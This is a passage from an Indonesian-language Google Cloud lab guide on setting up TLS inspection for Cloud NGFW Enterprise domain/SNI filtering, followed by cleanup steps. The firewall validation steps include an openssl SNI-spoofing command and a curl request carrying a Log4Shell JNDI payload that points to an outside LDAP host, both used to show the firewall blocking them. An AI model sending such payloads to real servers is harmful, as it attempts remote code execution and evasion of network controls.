Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Di sinilah pemeriksaan TLS dapat membantu menutup celah ini.

Tutup koneksi dan keluar dari VM:

"ctrl" + c
exit

18. [Opsional] Pemeriksaan TLS

Mengonfigurasi Resource TLS

Bagian ini bersifat opsional karena pemfilteran Domain/SNI berfungsi tanpa memerlukan pemeriksaan TLS. Namun, Anda mungkin ingin memiliki pemeriksaan TLS jika berencana menggunakan pencegahan ancaman, atau pada masa mendatang saat pemfilteran URL lengkap tersedia, dapat membuat aturan berbasis jalur dalam profil keamanan.

Selain itu, pemeriksaan TLS memberikan lapisan pemeriksaan tambahan karena spoofing SNI dapat terjadi.

Buat kumpulan CA. Resource ini akan digunakan untuk menyimpan sertifikat CA Root yang kita buat untuk NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Buat CA Root. Ini adalah sertifikat CA yang akan digunakan untuk menandatangani sertifikat tambahan untuk permintaan melalui NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Jika Anda melihat pesan di bawah, jawab y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Membuat akun layanan. Akun layanan ini akan digunakan untuk meminta sertifikat bagi NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Tetapkan izin IAM untuk akun layanan:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Buat file YAML Kebijakan TLS. File ini akan berisi informasi tentang resource tertentu:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Impor Kebijakan pemeriksaan TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Perbarui asosiasi endpoint untuk mengaktifkan TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Dapatkan sertifikat CA dan tambahkan ke penyimpanan CA klien. Hal ini diperlukan untuk kepercayaan karena NGFW Enterprise akan membuat TLS dan menampilkan sertifikat yang ditandatangani dari Kumpulan CA:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfer sertifikat CA ke klien:

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH ke VM, pindahkan sertifikat CA ke /usr/local/share/ca-certificates, lalu update penyimpanan CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Keluar dari VM dan lanjutkan di cloudshell.

Memperbarui Aturan Firewall untuk Pemeriksaan TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

Memvalidasi Aturan dengan pemeriksaan TLS

Mulai koneksi SSH ke VM melalui IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Kirim permintaan contoh ke tujuan yang diizinkan:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Tindakan ini akan berhasil tanpa masalah. Jika ingin meninjau sertifikat dan mengonfirmasi apakah sertifikat ditandatangani oleh NGFW atau tidak, kita dapat menjalankan perintah berikut:

curl https://ifconfig.me --max-time 2 -vv

Output yang diharapkan:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Dalam output di atas, kita dapat melihat bahwa permintaan sedang diperiksa TLS oleh NGFW Enterprise karena sertifikat yang diterima ditandatangani oleh CA Root yang kita buat sebelumnya. (kolom penerbit)

Memvalidasi Aturan yang mencoba Memalsukan SNI dengan pemeriksaan TLS

Sekarang, mari kita validasi perilaku setelah pemeriksaan TLS diaktifkan.

Jalankan perintah openssl berikut untuk memalsukan SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Output yang diharapkan:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Pada output di atas, kita melihat bahwa permintaan spoofing SNI yang sebelumnya berfungsi kini gagal saat pemeriksaan TLS diaktifkan. Hal ini karena saat pemeriksaan TLS diaktifkan, NGFW memeriksa SNI terhadap Nama Alternatif Subjek (SAN) sertifikat server. Jika tidak cocok, TLS handshake akan gagal.

Memvalidasi Domain/SNI & Pencegahan Ancaman dengan Inspeksi TLS

Sekarang kita akan menjalankan ulang pengujian sebelumnya untuk permintaan berbahaya (log4j) ke domain yang diizinkan.

Kirim sampel berbahaya (log4j) ke tujuan SNI/domain yang diizinkan:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Output yang diharapkan:

000

Kode respons 000 ini terjadi karena koneksi dihentikan oleh NGFW karena terdeteksi ancaman. Kita dapat mengumpulkan output yang lebih verbose untuk mengonfirmasi.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Output yang diharapkan:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Dari atas, kita melihat bahwa NGFW melakukan pemeriksaan TLS dan memblokir permintaan berbahaya.

Keluar dari VM:

exit

Lanjutkan ke bagian berikutnya untuk mengetahui langkah-langkah pembersihan.

19. Langkah-langkah pembersihan

Pembersihan Penyiapan Dasar

Hapus instance:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Hapus Kebijakan Jaringan Cloud Firewall dan pengaitan:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Hapus Cloud Router dan Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Hapus alamat IP yang dicadangkan:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Pembersihan SPG Cloud Firewall dan Asosiasi

Hapus Grup Profil Keamanan dan Profil Pemfilteran URL & Ancaman dalam urutan ini:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Hapus pengaitan endpoint Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Hapus endpoint Cloud Firewall, yang dapat memerlukan waktu sekitar 20 menit:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(Opsional) Konfirmasi bahwa endpoint Cloud NGFW telah dihapus dengan menjalankan perintah di bawah:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Status untuk endpoint akan menampilkan:

STATE: DELETING

Setelah selesai, endpoint tidak akan lagi dicantumkan.

[Opsional] Pembersihan TLS

Jika Anda melanjutkan dengan konfigurasi pemeriksaan TLS opsional, jalankan perintah di bawah untuk membersihkan resource TLS.

Hapus Kebijakan TLS:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Nonaktifkan dan hapus Root CA dan Kumpulan CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Pembersihan Subnet dan VPC

Terakhir, hapus subnet dan jaringan VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Kesimpulan dan pertimbangan

Lab ini sangat sederhana dan hanya menguji dengan satu VM yang terhubung ke internet. Dalam skenario dunia nyata, VPC dapat berisi beberapa resource, traffic yang bergerak ke segala arah (Utara/Selatan dan Timur/Barat). Karena Aturan Firewall untuk pemfilteran domain/SNI adalah EGRESS 0.0.0.0/0, aturan ini adalah "catch all" dan HARUS dikonfigurasi sebagai aturan prioritas terendah dalam kebijakan jaringan - jika tidak, traffic akan cocok secara tidak terduga dan diizinkan/ditolak berdasarkan aturan urlFiltering default.

Selain itu, pertimbangkan untuk menggunakan Jenis Jaringan untuk membatasi cakupan. Hal ini dilakukan untuk mencegah traffic E/W cocok dengan aturan. Atau, buat aturan izinkan dengan prioritas yang lebih tinggi untuk traffic E/W.

Tinjau dokumen praktik terbaik yang membahas pemfilteran Domain/SNI secara lebih mendetail.

21. Selamat!

Selamat, Anda telah berhasil menyelesaikan Cloud NGFW Enterprise untuk pemfilteran Domain dan SNI dengan inspeksi TLS opsional.